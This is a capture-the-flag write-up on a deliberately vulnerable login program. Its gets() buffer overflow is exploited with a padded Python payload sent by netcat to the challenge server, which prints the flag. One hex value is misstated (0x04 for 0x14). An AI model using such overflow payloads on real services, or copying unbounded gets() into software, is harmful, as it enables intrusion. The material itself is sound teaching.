Junior Hacking Talent - Buffer Overflow Writeup

As always, we will be starting out with taking a peek at the source code. More specifically, the main function.

int main()
{
    setbuf(stdout, 0);
    char password[20];
    char isAdmin = '0';
    int loginAsUser;

    banner();
    printf("Đăng nhập với user:\n1. Nhập 1 là Admin\n2. Nhập 2 là Guest\n");
    scanf("%d%*c",&loginAsUser);
    if(loginAsUser == 2)
        guest_account();
    else if(loginAsUser == 1)
    {
        admin_account();
        printf("Nhập password:\n");
        gets(password); // Hella sús ngl
        if(!strncmp(password,admin_password,20))
            isAdmin = '1';
        else
            wrong_password();
    }

    if(isAdmin == '1')
        print_flag();

    return 0;
}

What jumped at me is the gets() function used when reading the password.

According to The Linux Manual:

GETS(3)                     Linux Programmer's Manual                     GETS(3)

NAME
       gets - get a string from standard input (DEPRECATED)

SYNOPSIS
       #include <stdio.h>

       char *gets(char *s);

DESCRIPTION
       Never use this function.

...

BUGS
       Never use gets(). Because it is impossible to tell without knowing the
       data in advance how many characters gets() will read, and because gets()
       will continue to store characters past the end of the buffer, it is
       extremely dangerous to use. It has been used to break computer security.
       Use fgets() instead.

So yeah, gets() isn’t what you should be using when taking input as it introduces a vulnerability called Buffer Overflow.

char password[20];
char isAdmin = '0';

What this means is that, if we were able to overflow the password buffer, we can overwrite the value stored in the isAdmin variable. We’ll be overwriting isAdmin with ‘1’, which will give us the flag needed.

if(isAdmin == '1')
        print_flag();

Trying to run the binary by itself and logging in as Admin with a random password presents an error: password.txt không tồn tại which translates roughly to password.txt does not exist. This can be quickly fixed with a dummy file created with

echo "amina koyayim" > password.txt

Let’s load binary up inside GDB with gdb -q ./bof.

gdb> disass main
Dump of assembler code for function main:

...

   0x08048834 <+146>:	sub    esp,0xc
   0x08048837 <+149>:	lea    eax,[ebp-0x1d]
   0x0804883a <+152>:	push   eax
   0x0804883b <+153>:	call   0x8048450 <gets@plt>
   0x08048840 <+158>:	add    esp,0x10
   0x08048843 <+161>:	sub    esp,0x4
   0x08048846 <+164>:	push   0x14

...

   0x08048880 <+222>:	lea    esp,[ecx-0x4]
   0x08048883 <+225>:	ret
End of assembler dump.

We can see that the gets() function will be executed at the address 0x0804883b. Let’s set a breakpoint there and continue execution.

gdb> bp 0x0804883b
Breakpoint 1 at 0x804883b
gdb> r
Starting program: /home/dong/IT/bof/bof
         -------------------------
        |                         |
        |  ĐĂNG NHẬP              |
        |                         |
        |   -------------------   |
        |  |Admin              |  |
        |   -------------------   |
        |                         |
        |   Guest Session         |
         -------------------------

Đăng nhập với user:
1. Nhập 1  Admin
2. Nhập 2  Guest
1
         -------------------------
        |                         |
        |   Admin                 |
        |                         |
        |   -------------------   |
        |  | *****             |  |
        |   -------------------   |
        |                         |
        |                         |
         -------------------------

Nhập password:

Taking a closer look at the gets() instruction itself, since we know that gets() only take one argument (arg[0]) which contains the address to input buffer (0xffffd5db).

  0x804883b <main+153>                    call   gets@plt            <gets@plt>
        arg[0]: 0xffffd5db ◂— 0x488dbff
        arg[1]: 0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af10 (_DYNAMIC) ◂— 0x1
        arg[2]: 0xffffd5f8 ◂— 0x0
        arg[3]: 0x8048822 (main+128) ◂— sub    esp, 0xc

Below that, we can see the flow of the program depends on whether the pointer to [ebp - 9] matches 0x31 or not.

   0x804886a <main+200>          cmp    byte ptr [ebp - 9], 0x31
   0x804886e <main+204>          jne    main+211                     <main+211>
   0x8048870 <main+206>          call   print_flag                     <print_flag>

This corresponds to the if statement we saw earlier in the C source code.

if(isAdmin == '1')
        print_flag();

So that’s exactly what we’ll be doing - making sure that the program call print_flag by overwriting the value inside [ebp - 9]. To calculate the offset from the input buffer to [ebp - 9], we can take [ebp - 9] and subtract it by the value of arg[0].

gdb> print $ebp-0x9-0xffffd5db
$1 = (void *) 0x14

0x04 translates to 20 bytes which is also the length of padding that we’ll need to give gets() in order to reach [ebp - 9]. After that, we can simply add 0x31 at the end of the padding data to overwrite the value inside [ebp - 9].

A short exploit code can be written like so:

print("1\nCu64_From_Kernal.eu/" + "\x31")

Executing it against the CTF’s server will grant us the flag.

 python -c 'print("1\nCu64_From_Kernal.eu/" + "\x31")' | nc 188.166.233.168 4791
         -------------------------
        |                         |
        |  ĐĂNG NHẬP              |
        |                         |
        |   -------------------   |
        |  |Admin              |  |
        |   -------------------   |
        |                         |
        |   Guest Session         |
         -------------------------

Đăng nhập với user:
1. Nhập 1  Admin
2. Nhập 2  Guest
         -------------------------
        |                         |
        |   Admin                 |
        |                         |
        |   -------------------   |
        |  | *****             |  |
        |   -------------------   |
        |                         |
        |                         |
         -------------------------

Nhập password:
         -------------------------
        |                         |
        |   Admin                 |
        |                         |
        |                         |
        |  MẬT KHẨU KHÔNG ĐÚNG!   |
        |                         |
        |                         |
        |                         |
         -------------------------

Chúc mừng em đã khai thác lỗ hổng Buffer Overflow thành công!
Đây  phần thưởng của em CTF{Buff4r_0v3rfl0w}